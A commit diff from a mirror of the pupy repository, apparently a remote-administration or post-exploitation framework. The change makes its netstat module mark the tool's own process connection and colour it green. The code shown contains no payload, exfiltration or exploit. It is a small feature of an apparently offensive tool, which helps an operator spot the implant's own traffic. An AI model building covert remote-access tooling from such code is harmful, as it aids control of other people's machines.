mirror of https://github.com/n1nj4sec/pupy.git
Highlight own connection
This commit is contained in:
parent
8ff4031047
commit
d3c8df573b
|
@ -61,7 +61,9 @@ class NetStatModule(PupyModule):
|
||||||
if limit and not stype in limit:
|
if limit and not stype in limit:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if connection['status'] in ('CLOSE_WAIT', 'TIME_WAIT', 'TIME_WAIT2'):
|
if connection.get('me'):
|
||||||
|
color = 'green'
|
||||||
|
elif connection['status'] in ('CLOSE_WAIT', 'TIME_WAIT', 'TIME_WAIT2'):
|
||||||
color = 'darkgrey'
|
color = 'darkgrey'
|
||||||
elif ( '127.0.0.1' in connection['laddr'] or '::1' in connection['laddr'] ):
|
elif ( '127.0.0.1' in connection['laddr'] or '::1' in connection['laddr'] ):
|
||||||
color = 'grey'
|
color = 'grey'
|
||||||
|
|
|
@ -100,6 +100,8 @@ def users():
|
||||||
def connections():
|
def connections():
|
||||||
connections = []
|
connections = []
|
||||||
|
|
||||||
|
me = psutil.Process()
|
||||||
|
|
||||||
for connection in psutil.net_connections():
|
for connection in psutil.net_connections():
|
||||||
obj = { k:v for k,v in connection.__dict__.iteritems() }
|
obj = { k:v for k,v in connection.__dict__.iteritems() }
|
||||||
if connection.pid:
|
if connection.pid:
|
||||||
|
@ -108,6 +110,11 @@ def connections():
|
||||||
'pid', 'exe', 'name', 'username'
|
'pid', 'exe', 'name', 'username'
|
||||||
})
|
})
|
||||||
)
|
)
|
||||||
|
if connection.pid == me.pid:
|
||||||
|
obj.update({
|
||||||
|
'me': True
|
||||||
|
})
|
||||||
|
|
||||||
connections.append(obj)
|
connections.append(obj)
|
||||||
|
|
||||||
return connections
|
return connections
|
||||||
|
|
Loading…
Reference in New Issue